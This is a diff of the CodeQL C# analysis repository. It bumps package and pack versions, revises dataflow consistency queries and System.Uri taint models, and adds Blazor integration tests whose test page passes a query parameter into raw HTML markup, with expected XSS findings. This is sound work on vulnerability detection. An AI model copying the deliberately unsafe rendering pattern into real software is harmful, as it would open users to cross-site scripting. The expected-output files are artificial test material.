"System.Threading.Tasks.Extensions"]}, "targeting_pack_overrides": [], "framework_list": []},
             {"name": "Microsoft.CodeCoverage", "id": "Microsoft.CodeCoverage", "version": "17.12.0", "sha512": "sha512-POBqg788rrLApvncy8rvtyJ3ynsBdU0/SGUXD+vPqyRDM/aUJbPZWx01qalGJRK1GcArSku8QDd9AVMa0TkCkA==", "sources": ["https://api.nuget.org/v3/index.json"], "dependencies": {"net11": [], "net20": [], "net30": [], "net35": [], "net40": [], "net403": [], "net45": [], "net451": [], "net452": [], "net46": [], "net461": [], "net462": [], "net47": [], "net471": [], "net472": [], "net48": [], "net5.0": [], "net6.0": [], "net7.0": [], "net8.0": [], "net9.0": [], "netcoreapp1.0": [], "netcoreapp1.1": [], "netcoreapp2.0": [], "netcoreapp2.1": [], "netcoreapp2.2": [], "netcoreapp3.0": [], "netcoreapp3.1": [], "netstandard": [], "netstandard1.0": [], "netstandard1.1": [], "netstandard1.2": [], "netstandard1.3": [], "netstandard1.4": [], "netstandard1.5": [], "netstandard1.6": [], "netstandard2.0": [], "netstandard2.1": []}, "targeting_pack_overrides": [], "framework_list": []},
-            {"name": "Microsoft.Extensions.ObjectPool", "id": "Microsoft.Extensions.ObjectPool", "version": "9.0.0", "sha512": "sha512-dY64S9XmssfAjwvuGMHleFj2cKIhIFUU2D+Kr1D1Y+92mAPN/39HQMJay2FHxSRcDEI9hATivRV/I1N7QxVJcQ==", "sources": ["https://api.nuget.org/v3/index.json"], "dependencies": {"net11": [], "net20": [], "net30": [], "net35": [], "net40": [], "net403": [], "net45": [], "net451": [], "net452": [], "net46": [], "net461": [], "net462": [], "net47": [], "net471": [], "net472": [], "net48": [], "net5.0": [], "net6.0": [], "net7.0": [], "net8.0": [], "net9.0": [], "netcoreapp1.0": [], "netcoreapp1.1": [], "netcoreapp2.0": [], "netcoreapp2.1": [], "netcoreapp2.2": [], "netcoreapp3.0": [], "netcoreapp3.1": [], "netstandard": [], "netstandard1.0": [], "netstandard1.1": [], "netstandard1.2": [], "netstandard1.3": [], "netstandard1.4": [], "netstandard1.5": [], "netstandard1.6": [], "netstandard2.0": [], "netstandard2.1": []}, "targeting_pack_overrides": [], "framework_list": []},
+            {"name": "Microsoft.Extensions.ObjectPool", "id": "Microsoft.Extensions.ObjectPool", "version": "9.0.3", "sha512": "sha512-0s2vnkWqUSPhhe+Llybuli0LMon5Mf7Mx9NSO9ErGFGU+dSZqwz1Ixa7mXJo2W+Y74BXYE+yfU0HIsPUMOkwZQ==", "sources": ["https://api.nuget.org/v3/index.json"], "dependencies": {"net11": [], "net20": [], "net30": [], "net35": [], "net40": [], "net403": [], "net45": [], "net451": [], "net452": [], "net46": [], "net461": [], "net462": [], "net47": [], "net471": [], "net472": [], "net48": [], "net5.0": [], "net6.0": [], "net7.0": [], "net8.0": [], "net9.0": [], "netcoreapp1.0": [], "netcoreapp1.1": [], "netcoreapp2.0": [], "netcoreapp2.1": [], "netcoreapp2.2": [], "netcoreapp3.0": [], "netcoreapp3.1": [], "netstandard": [], "netstandard1.0": [], "netstandard1.1": [], "netstandard1.2": [], "netstandard1.3": [], "netstandard1.4": [], "netstandard1.5": [], "netstandard1.6": [], "netstandard2.0": [], "netstandard2.1": []}, "targeting_pack_overrides": [], "framework_list": []},
             {"name": "Microsoft.NET.StringTools", "id": "Microsoft.NET.StringTools", "version": "17.12.6", "sha512": "sha512-uCT/G0W1wUteqfrriWHfLfFmArka8ISo6nUkC5gQzYZYm2PSTuqfS14DEsY0gqDuQpcLLLaYTDcEM0SA2Za5vA==", "sources": ["https://api.nuget.org/v3/index.json"], "dependencies": {"net11": [], "net20": [], "net30": [], "net35": [], "net40": [], "net403": [], "net45": [], "net451": [], "net452": [], "net46": [], "net461": [], "net462": [], "net47": [], "net471": [], "net472": ["System.Memory", "System.Runtime.CompilerServices.Unsafe"], "net48": ["System.Memory", "System.Runtime.CompilerServices.Unsafe"], "net5.0": ["System.Memory", "System.Runtime.CompilerServices.Unsafe"], "net6.0": ["System.Memory", "System.Runtime.CompilerServices.Unsafe"], "net7.0": ["System.Memory", "System.Runtime.CompilerServices.Unsafe"], "net8.0": ["System.Memory", "System.Runtime.CompilerServices.Unsafe"], "net9.0": [], "netcoreapp1.0": [], "netcoreapp1.1": [], "netcoreapp2.0": ["System.Memory", "System.Runtime.CompilerServices.Unsafe"], "netcoreapp2.1": ["System.Memory", "System.Runtime.CompilerServices.Unsafe"], "netcoreapp2.2": ["System.Memory", "System.Runtime.CompilerServices.Unsafe"], "netcoreapp3.0": ["System.Memory", "System.Runtime.CompilerServices.Unsafe"], "netcoreapp3.1": ["System.Memory", "System.Runtime.CompilerServices.Unsafe"], "netstandard": [], "netstandard1.0": [], "netstandard1.1": [], "netstandard1.2": [], "netstandard1.3": [], "netstandard1.4": [], "netstandard1.5": [], "netstandard1.6": [], "netstandard2.0": ["System.Memory", "System.Runtime.CompilerServices.Unsafe"], "netstandard2.1": ["System.Memory", "System.Runtime.CompilerServices.Unsafe"]}, "targeting_pack_overrides": [], "framework_list": []},
             {"name": "Microsoft.NET.Test.Sdk", "id": "Microsoft.NET.Test.Sdk", "version": "17.12.0", "sha512": "sha512-hGf8I8+yo15etavoMd+7OXcOG6/G7HYPDEJg5aQnhMzsxaUpq+udNZzSxmEN9rGTWMZOAVFcyNXNL7YBsN6chw==", "sources": ["https://api.nuget.org/v3/index.json"], "dependencies": {"net11": [], "net20": [], "net30": [], "net35": [], "net40": [], "net403": [], "net45": [], "net451": [], "net452": [], "net46": [], "net461": [], "net462": ["Microsoft.CodeCoverage"], "net47": ["Microsoft.CodeCoverage"], "net471": ["Microsoft.CodeCoverage"], "net472": ["Microsoft.CodeCoverage"], "net48": ["Microsoft.CodeCoverage"], "net5.0": ["Microsoft.TestPlatform.TestHost", "Microsoft.CodeCoverage"], "net6.0": ["Microsoft.TestPlatform.TestHost", "Microsoft.CodeCoverage"], "net7.0": ["Microsoft.TestPlatform.TestHost", "Microsoft.CodeCoverage"], "net8.0": ["Microsoft.TestPlatform.TestHost", "Microsoft.CodeCoverage"], "net9.0": ["Microsoft.TestPlatform.TestHost", "Microsoft.CodeCoverage"], "netcoreapp1.0": [], "netcoreapp1.1": [], "netcoreapp2.0": [], "netcoreapp2.1": [], "netcoreapp2.2": [], "netcoreapp3.0": [], "netcoreapp3.1": ["Microsoft.TestPlatform.TestHost", "Microsoft.CodeCoverage"], "netstandard": [], "netstandard1.0": [], "netstandard1.1": [], "netstandard1.2": [], "netstandard1.3": [], "netstandard1.4": [], "netstandard1.5": [], "netstandard1.6": [], "netstandard2.0": [], "netstandard2.1": []}, "targeting_pack_overrides": [], "framework_list": []},
             {"name": "Microsoft.NETCore.Platforms", "id": "Microsoft.NETCore.Platforms", "version": "7.0.4", "sha512": "sha512-mcQWjuDBh4WHGG4WcBI0k025WAdA2afMm6fs42sm1f+3gRyNQUiuMVT5gAWNUGSHmlu6qn/TCnAQpfl4Gm6cBw==", "sources": ["https://api.nuget.org/v3/index.json"], "dependencies": {"net11": [], "net20": [], "net30": [], "net35": [], "net40": [], "net403": [], "net45": [], "net451": [], "net452": [], "net46": [], "net461": [], "net462": [], "net47": [], "net471": [], "net472": [], "net48": [], "net5.0": [], "net6.0": [], "net7.0": [], "net8.0": [], "net9.0": [], "netcoreapp1.0": [], "netcoreapp1.1": [], "netcoreapp2.0": [], "netcoreapp2.1": [], "netcoreapp2.2": [], "netcoreapp3.0": [], "netcoreapp3.1": [], "netstandard": [], "netstandard1.0": [], "netstandard1.1": [], "netstandard1.2": [], "netstandard1.3": [], "netstandard1.4": [], "netstandard1.5": [], "netstandard1.6": [], "netstandard2.0": [], "netstandard2.1": []}, "targeting_pack_overrides": [], "framework_list": []},
diff --git a/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md b/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md
index 49b1297498cd..38009248e963 100644
--- a/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md
+++ b/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md
@@ -1,3 +1,7 @@
+## 1.7.37
+
+No user-facing changes.
+
 ## 1.7.36
 
 No user-facing changes.
diff --git a/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.37.md b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.37.md
new file mode 100644
index 000000000000..d451a3fb0e78
--- /dev/null
+++ b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.37.md
@@ -0,0 +1,3 @@
+## 1.7.37
+
+No user-facing changes.
diff --git a/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml b/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml
index 5d773ebdb702..4d975f78ff6e 100644
--- a/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml
+++ b/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 1.7.36
+lastReleaseVersion: 1.7.37
diff --git a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml
index f32462ee6824..10f9ed40e0da 100644
--- a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml
+++ b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/csharp-solorigate-all
-version: 1.7.36
+version: 1.7.37
 groups:
   - csharp
   - solorigate
diff --git a/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md b/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md
index 49b1297498cd..38009248e963 100644
--- a/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md
+++ b/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md
@@ -1,3 +1,7 @@
+## 1.7.37
+
+No user-facing changes.
+
 ## 1.7.36
 
 No user-facing changes.
diff --git a/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.37.md b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.37.md
new file mode 100644
index 000000000000..d451a3fb0e78
--- /dev/null
+++ b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.37.md
@@ -0,0 +1,3 @@
+## 1.7.37
+
+No user-facing changes.
diff --git a/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml b/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml
index 5d773ebdb702..4d975f78ff6e 100644
--- a/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml
+++ b/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 1.7.36
+lastReleaseVersion: 1.7.37
diff --git a/csharp/ql/campaigns/Solorigate/src/qlpack.yml b/csharp/ql/campaigns/Solorigate/src/qlpack.yml
index e8f5285735bd..a4148e9688b8 100644
--- a/csharp/ql/campaigns/Solorigate/src/qlpack.yml
+++ b/csharp/ql/campaigns/Solorigate/src/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/csharp-solorigate-queries
-version: 1.7.36
+version: 1.7.37
 groups:
   - csharp
   - solorigate
diff --git a/csharp/ql/consistency-queries/DataFlowConsistency.ql b/csharp/ql/consistency-queries/DataFlowConsistency.ql
index 2f34368b669b..638bace38922 100644
--- a/csharp/ql/consistency-queries/DataFlowConsistency.ql
+++ b/csharp/ql/consistency-queries/DataFlowConsistency.ql
@@ -34,30 +34,18 @@ private module Input implements InputSig<Location, CsharpDataFlow> {
     n instanceof FlowSummaryNode
     or
     n.asExpr().(ObjectCreation).hasInitializer()
+    or
+    exists(
+      n.(PostUpdateNode).getPreUpdateNode().asExprAtNode(LocalFlow::getPostUpdateReverseStep(_))
+    )
   }
 
   predicate argHasPostUpdateExclude(ArgumentNode n) {
     n instanceof FlowSummaryNode
     or
-    not exists(LocalFlow::getAPostUpdateNodeForArg(n.getControlFlowNode()))
-    or
     n instanceof ParamsArgumentNode
-  }
-
-  predicate postHasUniquePreExclude(PostUpdateNode n) {
-    exists(ControlFlow::Nodes::ExprNode e, ControlFlow::Nodes::ExprNode arg |
-      e = LocalFlow::getAPostUpdateNodeForArg(arg) and
-      e != arg and
-      n = TExprPostUpdateNode(e)
-    )
-  }
-
-  predicate uniquePostUpdateExclude(Node n) {
-    exists(ControlFlow::Nodes::ExprNode e, ControlFlow::Nodes::ExprNode arg |
-      e = LocalFlow::getAPostUpdateNodeForArg(arg) and
-      e != arg and
-      n.asExpr() = arg.getExpr()
-    )
+    or
+    n.asExpr() = any(Expr e | not exprMayHavePostUpdateNode(e))
   }
 
   predicate reverseReadExclude(Node n) { n.asExpr() = any(AwaitExpr ae).getExpr() }
diff --git a/csharp/ql/consistency-queries/SsaConsistency.ql b/csharp/ql/consistency-queries/SsaConsistency.ql
index 225aeb4e6de4..e9c9191b63a1 100644
--- a/csharp/ql/consistency-queries/SsaConsistency.ql
+++ b/csharp/ql/consistency-queries/SsaConsistency.ql
@@ -3,22 +3,6 @@ import semmle.code.csharp.dataflow.internal.SsaImpl as Impl
 import Impl::Consistency
 import Ssa
 
-class MyRelevantDefinition extends RelevantDefinition, Ssa::Definition {
-  override predicate hasLocationInfo(
-    string filepath, int startline, int startcolumn, int endline, int endcolumn
-  ) {
-    this.getLocation().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn)
-  }
-}
-
-class MyRelevantDefinitionExt extends RelevantDefinitionExt, Impl::DefinitionExt {
-  override predicate hasLocationInfo(
-    string filepath, int startline, int startcolumn, int endline, int endcolumn
-  ) {
-    this.getLocation().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn)
-  }
-}
-
 query predicate localDeclWithSsaDef(LocalVariableDeclExpr d) {
   // Local variables in C# must be initialized before every use, so uninitialized
   // local variables should not have an SSA definition, as that would imply that
diff --git a/csharp/ql/integration-tests/all-platforms/blazor/BlazorTest/Components/Pages/TestPage.razor b/csharp/ql/integration-tests/all-platforms/blazor/BlazorTest/Components/Pages/TestPage.razor
index 39238d724298..ac3ccbe19207 100644
--- a/csharp/ql/integration-tests/all-platforms/blazor/BlazorTest/Components/Pages/TestPage.razor
+++ b/csharp/ql/integration-tests/all-platforms/blazor/BlazorTest/Components/Pages/TestPage.razor
@@ -81,6 +81,10 @@
     <MyOutput Value="@InputValue6" />
 </div>
 
+<div>
+    <MyOutput Value="@QueryParam" />
+</div>
+
 @code {
 
     public class Container
diff --git a/csharp/ql/integration-tests/all-platforms/blazor/XSS.expected b/csharp/ql/integration-tests/all-platforms/blazor/XSS.expected
new file mode 100644
index 000000000000..795e9ad7de08
--- /dev/null
+++ b/csharp/ql/integration-tests/all-platforms/blazor/XSS.expected
@@ -0,0 +1,18 @@
+#select
+| BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | User-provided value |
+| BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | User-provided value |
+| BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | User-provided value |
+edges
+| BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | BlazorTest/obj/Debug/net9.0/generated/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck<String> : String | provenance | Src:MaD:2 MaD:3 |
+| BlazorTest/obj/Debug/net9.0/generated/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck<String> : String | BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | provenance | Sink:MaD:1 |
+models
+| 1 | Sink: Microsoft.AspNetCore.Components; MarkupString; false; MarkupString; (System.String); ; Argument[0]; html-injection; manual |
+| 2 | Source: Microsoft.AspNetCore.Components; SupplyParameterFromQueryAttribute; false; ; ; Attribute.Getter; ReturnValue; remote; manual |
+| 3 | Summary: Microsoft.AspNetCore.Components.CompilerServices; RuntimeHelpers; false; TypeCheck<T>; (T); ; Argument[0]; ReturnValue; value; manual |
+nodes
+| BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | semmle.label | access to property Value |
+| BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | semmle.label | access to property UrlParam |
+| BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | semmle.label | access to property QueryParam |
+| BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | semmle.label | access to property QueryParam : String |
+| BlazorTest/obj/Debug/net9.0/generated/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck<String> : String | semmle.label | call to method TypeCheck<String> : String |
+subpaths
diff --git a/csharp/ql/integration-tests/all-platforms/blazor/XSS.qlref b/csharp/ql/integration-tests/all-platforms/blazor/XSS.qlref
new file mode 100644
index 000000000000..89b5b951bdb6
--- /dev/null
+++ b/csharp/ql/integration-tests/all-platforms/blazor/XSS.qlref
@@ -0,0 +1,2 @@
+query: Security Features/CWE-079/XSS.ql
+postprocess: utils/test/PrettyPrintModels.ql
diff --git a/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/BlazorTest/Components/Pages/TestPage.razor b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/BlazorTest/Components/Pages/TestPage.razor
index 39238d724298..ac3ccbe19207 100644
--- a/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/BlazorTest/Components/Pages/TestPage.razor
+++ b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/BlazorTest/Components/Pages/TestPage.razor
@@ -81,6 +81,10 @@
     <MyOutput Value="@InputValue6" />
 </div>
 
+<div>
+    <MyOutput Value="@QueryParam" />
+</div>
+
 @code {
 
     public class Container
diff --git a/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.expected b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.expected
new file mode 100644
index 000000000000..64ab3e186a1f
--- /dev/null
+++ b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.expected
@@ -0,0 +1,18 @@
+#select
+| BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | User-provided value |
+| BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | User-provided value |
+| BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | User-provided value |
+edges
+| BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | test-db/working/razor/AC613014E59A413B9538FF8068364499/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck<String> : String | provenance | Src:MaD:2 MaD:3 |
+| test-db/working/razor/AC613014E59A413B9538FF8068364499/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck<String> : String | BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | provenance | Sink:MaD:1 |
+models
+| 1 | Sink: Microsoft.AspNetCore.Components; MarkupString; false; MarkupString; (System.String); ; Argument[0]; html-injection; manual |
+| 2 | Source: Microsoft.AspNetCore.Components; SupplyParameterFromQueryAttribute; false; ; ; Attribute.Getter; ReturnValue; remote; manual |
+| 3 | Summary: Microsoft.AspNetCore.Components.CompilerServices; RuntimeHelpers; false; TypeCheck<T>; (T); ; Argument[0]; ReturnValue; value; manual |
+nodes
+| BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | semmle.label | access to property Value |
+| BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | semmle.label | access to property UrlParam |
+| BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | semmle.label | access to property QueryParam |
+| BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | semmle.label | access to property QueryParam : String |
+| test-db/working/razor/AC613014E59A413B9538FF8068364499/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck<String> : String | semmle.label | call to method TypeCheck<String> : String |
+subpaths
diff --git a/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.qlref b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.qlref
new file mode 100644
index 000000000000..89b5b951bdb6
--- /dev/null
+++ b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.qlref
@@ -0,0 +1,2 @@
+query: Security Features/CWE-079/XSS.ql
+postprocess: utils/test/PrettyPrintModels.ql
diff --git a/csharp/ql/integration-tests/all-platforms/blazor_net_8/BlazorTest/Components/Pages/TestPage.razor b/csharp/ql/integration-tests/all-platforms/blazor_net_8/BlazorTest/Components/Pages/TestPage.razor
index 39238d724298..ac3ccbe19207 100644
--- a/csharp/ql/integration-tests/all-platforms/blazor_net_8/BlazorTest/Components/Pages/TestPage.razor
+++ b/csharp/ql/integration-tests/all-platforms/blazor_net_8/BlazorTest/Components/Pages/TestPage.razor
@@ -81,6 +81,10 @@
     <MyOutput Value="@InputValue6" />
 </div>
 
+<div>
+    <MyOutput Value="@QueryParam" />
+</div>
+
 @code {
 
     public class Container
diff --git a/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.expected b/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.expected
new file mode 100644
index 000000000000..204c31945956
--- /dev/null
+++ b/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.expected
@@ -0,0 +1,8 @@
+#select
+| BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | User-provided value |
+| BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | User-provided value |
+edges
+nodes
+| BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | semmle.label | access to property UrlParam |
+| BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | semmle.label | access to property QueryParam |
+subpaths
diff --git a/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.qlref b/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.qlref
new file mode 100644
index 000000000000..89b5b951bdb6
--- /dev/null
+++ b/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.qlref
@@ -0,0 +1,2 @@
+query: Security Features/CWE-079/XSS.ql
+postprocess: utils/test/PrettyPrintModels.ql
diff --git a/csharp/ql/integration-tests/all-platforms/standalone_resx/CompilationInfo.expected b/csharp/ql/integration-tests/all-platforms/standalone_resx/CompilationInfo.expected
index 48cca2534533..ee27a1cd9120 100644
--- a/csharp/ql/integration-tests/all-platforms/standalone_resx/CompilationInfo.expected
+++ b/csharp/ql/integration-tests/all-platforms/standalone_resx/CompilationInfo.expected
@@ -1,6 +1,7 @@
 | All Nuget feeds reachable | 1.0 |
 | Failed project restore with package source error | 0.0 |
 | Failed solution restore with package source error | 0.0 |
+| Inherited Nuget feed count | 1.0 |
 | NuGet feed responsiveness checked | 1.0 |
 | Project files on filesystem | 1.0 |
 | Reachable fallback Nuget feed count | 1.0 |
diff --git a/csharp/ql/integration-tests/all-platforms/standalone_winforms/CompilationInfo.expected b/csharp/ql/integration-tests/all-platforms/standalone_winforms/CompilationInfo.expected
index f87af9b7599d..cf2e7f2db702 100644
--- a/csharp/ql/integration-tests/all-platforms/standalone_winforms/CompilationInfo.expected
+++ b/csharp/ql/integration-tests/all-platforms/standalone_winforms/CompilationInfo.expected
@@ -1,6 +1,7 @@
 | All Nuget feeds reachable | 1.0 |
 | Failed project restore with package source error | 0.0 |
 | Failed solution restore with package source error | 0.0 |
+| Inherited Nuget feed count | 1.0 |
 | NuGet feed responsiveness checked | 1.0 |
 | Project files on filesystem | 1.0 |
 | Reachable fallback Nuget feed count | 1.0 |
diff --git a/csharp/ql/lib/CHANGELOG.md b/csharp/ql/lib/CHANGELOG.md
index 2ca6fea2b086..9b5f38e0ca51 100644
--- a/csharp/ql/lib/CHANGELOG.md
+++ b/csharp/ql/lib/CHANGELOG.md
@@ -1,3 +1,10 @@
+## 5.1.3
+
+### Minor Analysis Improvements
+
+* The models for `System.Uri` have been modified to better model the flow of tainted URIs.
+* Modeled parameter passing between Blazor parent and child components.
+
 ## 5.1.2
 
 No user-facing changes.
diff --git a/csharp/ql/lib/change-notes/released/5.1.3.md b/csharp/ql/lib/change-notes/released/5.1.3.md
new file mode 100644
index 000000000000..978a05a50fae
--- /dev/null
+++ b/csharp/ql/lib/change-notes/released/5.1.3.md
@@ -0,0 +1,6 @@
+## 5.1.3
+
+### Minor Analysis Improvements
+
+* The models for `System.Uri` have been modified to better model the flow of tainted URIs.
+* Modeled parameter passing between Blazor parent and child components.
diff --git a/csharp/ql/lib/codeql-pack.release.yml b/csharp/ql/lib/codeql-pack.release.yml
index d21c12fbe7fb..8ffbc76d58a0 100644
--- a/csharp/ql/lib/codeql-pack.release.yml
+++ b/csharp/ql/lib/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 5.1.2
+lastReleaseVersion: 5.1.3
diff --git a/csharp/ql/lib/ext/System.model.yml b/csharp/ql/lib/ext/System.model.yml
index 5e94dfcbf083..3853f03dc2fc 100644
--- a/csharp/ql/lib/ext/System.model.yml
+++ b/csharp/ql/lib/ext/System.model.yml
@@ -778,9 +778,23 @@ extensions:
       - ["System", "TupleExtensions", False, "Deconstruct<T1,T2>", "(System.Tuple<T1,T2>,T1,T2)", "", "Argument[0].Property[System.Tuple`2.Item2]", "Argument[2]", "value", "manual"]
       - ["System", "TupleExtensions", False, "Deconstruct<T1>", "(System.Tuple<T1>,T1)", "", "Argument[0].Property[System.Tuple`1.Item1]", "Argument[1]", "value", "manual"]
       - ["System", "Uri", False, "ToString", "()", "", "Argument[this]", "ReturnValue", "taint", "manual"]
+      - ["System", "Uri", False, "TryCreate", "(System.String,System.UriCreationOptions,System.Uri)", "", "Argument[0]", "Argument[2]", "taint", "manual"]
+      - ["System", "Uri", False, "TryCreate", "(System.String,System.UriKind,System.Uri)", "", "Argument[0]", "Argument[2]", "taint", "manual"]
+      - ["System", "Uri", False, "TryCreate", "(System.Uri,System.String,System.Uri)", "", "Argument[0]", "Argument[2]", "taint", "manual"]
+      - ["System", "Uri", False, "TryCreate", "(System.Uri,System.String,System.Uri)", "", "Argument[1]", "Argument[2]", "taint", "manual"]
+      - ["System", "Uri", False, "TryCreate", "(System.Uri,System.Uri,System.Uri)", "", "Argument[0]", "Argument[2]", "taint", "manual"]
+      - ["System", "Uri", False, "TryCreate", "(System.Uri,System.Uri,System.Uri)", "", "Argument[1]", "Argument[2]", "taint", "manual"]
       - ["System", "Uri", False, "Uri", "(System.String)", "", "Argument[0]", "Argument[this]", "taint", "manual"]
       - ["System", "Uri", False, "Uri", "(System.String,System.Boolean)", "", "Argument[0]", "Argument[this]", "taint", "manual"]
       - ["System", "Uri", False, "Uri", "(System.String,System.UriKind)", "", "Argument[0]", "Argument[this]", "taint", "manual"]
